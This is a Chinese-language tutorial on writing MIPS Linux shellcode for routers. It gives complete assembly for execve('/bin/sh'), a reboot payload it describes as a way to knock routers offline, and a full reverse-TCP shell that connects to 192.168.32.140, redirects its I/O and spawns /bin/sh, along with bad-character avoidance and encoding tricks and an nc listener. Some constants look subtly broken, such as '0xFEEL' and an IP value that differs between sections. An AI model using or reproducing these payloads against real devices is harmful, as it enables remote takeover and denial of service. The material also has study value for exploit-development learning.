1. MIPS linux 系统调用
MIPS没有int 0x80, 而是使用syscall进行系统调用。
syscall($v0, $a0, $a1, $a2...);
汇编:
li $a0, 0
li $v0, 4001 # exit
syscall
$v0为系统调用号, 定义位于/usr/include/mips-linux-gnu/asm/unistd.h 。
可以先实现c语言版本的shellcode,然后用strace查看系统调用号,再根据系统调用号实现汇编版本shellcode。
write
文档:https://man7.org/linux/man-pages/man2/write.2.html
.section .text
.globl __start
.set noreorder
__start:
addiu $sp,$sp,-32 # 抬高堆栈,用来放置参数
li $a0,1 # 传入第一个参数,表示输出到stdout
lui $t6,0x4142
ori $t6,$t6,0x430a # 放置字符ABCn到$t6中
sw $t6,0($sp) # 将$t6里面的数据存储到堆栈中
addiu $a1,$sp,0 # 从堆栈中将ABCn存储到第二个参数$a1中,
li $a2,5 # 传入第三个参数,5,表示字符串长度
li $v0,4004 # 传入write的系统调用号4004
syscall
编译:
#!/bin/sh
src=$1
dst=$2
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-as $src -o s.o
echo "as ok"
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-ld s.o -o $dst
echo "ld ok"
rm s.o
execve
execve是常用的shellcode之一,用来运行/bin/sh之类的shell。
文档:https://man7.org/linux/man-pages/man2/execve.2.html
# execve(“/bin/sh”, 0, 0)
.section .text
.globl __start
.set noreorder
__start:
li $a2,0x111
# 因为mips的流水线基址,这两条指令同时执行
p:bltzal $a2,p # jmp if $a2 < 0, 执行后,下下行addiu的地址会保存在$ra中
li $a2,0 # 存入第三个参数0,
addiu $sp,$sp,-32 # 拉高堆栈,存放参数, 该行地址在bltzal时保存至$ra
addiu $a0,$ra,28 # $ra+28是下面参数字符串/bin/sh的首地址, 28==7(行)*4 bytes
sw $a0,-24($sp) # 将/bin/sh存入开辟的数组
sw $zero,-20($sp) # 将参数0存入数组
addiu $a1,$sp,-24
li $v0,4011 # execve
syscall
sc: # 存储的参数/bin/sh
.byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
2. 编码优化
坏字符包括:NULL, \r, \n,空格等。
优化方法-指令优化
不要用立即数0, 可以先赋值为一个大数,再减去这个大数。
编码优化
编码后的shellcode构造:
解码指令 要求短小精悍
编码后的指令
编码算法:
- base64: 用于网页shellcode;
- alpha_upper:全替换为ascii可见字符;
- xor:异或一下。
3. 通用shellcode
reboot shellcode
用途:重启路由器实现dos。
reboot系统调用文档:https://man7.org/linux/man-pages/man2/reboot.2.html
#include <unistd.h>
#include <linux/reboot.h>
#include <sys/reboot.h>
int main() {
reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTART);
}
汇编:
.section .text
.globl __start
.set noreorder
__start:
lui $a2, 0x4321
ori $a2, $a2, 0xfedc
lui $a1, 0x2812
ori $a1, $a1, 0x1969
lui $a0, 0xFEEL
ori $a0, $a0, 0xDEAD
li $v0, 4088
syscall
reverse_tcp shellcode
相关系统调用:
- https://man7.org/linux/man-pages/man2/socket.2.html
- https://man7.org/linux/man-pages/man2/connect.2.html
- https://man7.org/linux/man-pages/man2/dup2.2.html
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int soc, rc;
struct sockaddr_in serv_addr;
int main() {
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = 0xc0a8208c;
serv_addr.sin_port = 0x7777;
soc = socket(AF_INET, SOCK_STREAM, 0);
rc = connect(soc, (struct sockaddr *)&serv_addr, 0x10);
dup2(soc, 0);
dup2(soc, 1);
dup2(soc, 2);
execve("/bin/sh", 0, 0);
}
汇编部分,分解一下来实现:
socket:
# sys_socket
# a0: domain
# a1: type
# a2: protocol
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3 # 指令优化
addi $a1, $t7, -3
slti $a2, $zero, -1 # $a2 = ($zero < (-1)) ? 1 : 0
li $v0, 4183 # sys_socket
syscall
connect:
# syc_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
sw $v0, -1($sp) # socketr
lw $a0, -1($sp)
li $t7, 0xfffd
nor $t7, $t7, $zero
sw $t7, -32($sp) # sin_family big endian
lui $t6, 0x7777 #port
ori $t6, $t6, 0x7777
sw $t6, -28($sp)
lui $t6, 0xc0a8 #ip(high)
ori $t6, $t6, 0x0249 #ip(low)
sw $t6, -26($sp)
addiu $a1, $sp, -30 # sizeof(sin_family) == 2 bytes
li $t4, -17
nor $a2, $t4, $zero # not(-17 | 0) == not(b1111) == 0x10
li $v0, 4170 #sys_connect
syscall
dup2:
# sys_dup2
# a0: oldfd (socket)
# a1: newfd (0, 1, 2)
li $s1, -3
nor $s1, $s1, $zero # not(b101) == b10 == 2
lw $a0, -1($sp) # sock
dup2_loop: move $a1, $s1 #dup2_loop
li $v0, 4063 # sys_dup2
syscall
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop # if newfd == -1, break
execve:
# sys_execve
# a0: filename "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (NULL)
slti $a2, $zero, -1 # $a2 = ($zero < (-1)) ? 1 : 0
# big endian
lui $t7, 0x2f2f #"//"
ori $t7, $t7, 0x6269 #"bi"
sw $t7, -20($sp)
lui $t6, 0x6e2f #"n/"
ori $t6, $t6, 0x7368 #"sh"
sw $t6, -16($sp)
sw $zero, -12($sp)
addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8 # pointer to "/bin/sh"
li $v0, 4011 #sys_execve
syscall
完整版:
.section .text
.globl __start
.set noreorder
__start:
# sys_socket
# a0: domain
# a1: type
# a2: protocol
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3
addi $a1, $t7, -3
slti $a2, $zero, -1
li $v0, 4183 # sys_socket
syscall
# syc_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
sw $v0, -1($sp)
lw $a0, -1($sp)
li $t7, 0xfffd
nor $t7, $t7, $zero
sw $t7, -32($sp)
lui $t6, 0x7777 #port
ori $t6, $t6, 0x7777
sw $t6, -28($sp)
lui $t6, 0xc0a8 #ip(high) 192.168
ori $t6, $t6, 0x208c #ip(low) 32.140
sw $t6, -26($sp)
addiu $a1, $sp, -30
li $t4, -17
nor $a2, $t4, $zero
li $v0, 4170 #sys_connect
syscall
# sys_dup2
# a0: oldfd (socket)
# a1: newfd (0, 1, 2)
li $s1, -3
nor $s1, $s1, $zero
lw $a0, -1($sp)
dup2_loop: move $a1, $s1 #dup2_loop
li $v0, 4063 # sys_dup2
syscall
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop
# sys_execve
# a0: filename "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (NULL)
slti $a2, $zero, -1
lui $t7, 0x2f2f #"//"
ori $t7, $t7, 0x6269 #"bi"
sw $t7, -20($sp)
lui $t6, 0x6e2f #"n/"
ori $t6, $t6, 0x7368 #"sh"
sw $t6, -16($sp)
sw $zero, -12($sp)
addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8
li $v0, 4011 #sys_execve
syscall
可以使用nc测试:
nc -l 30583
总结下注意点:
- 这种长的shellcode,要分解实现;
- 注意结构体成员地址问题,赋值时4字节为单位;
- 注意大端存储;
- 注意优化。
|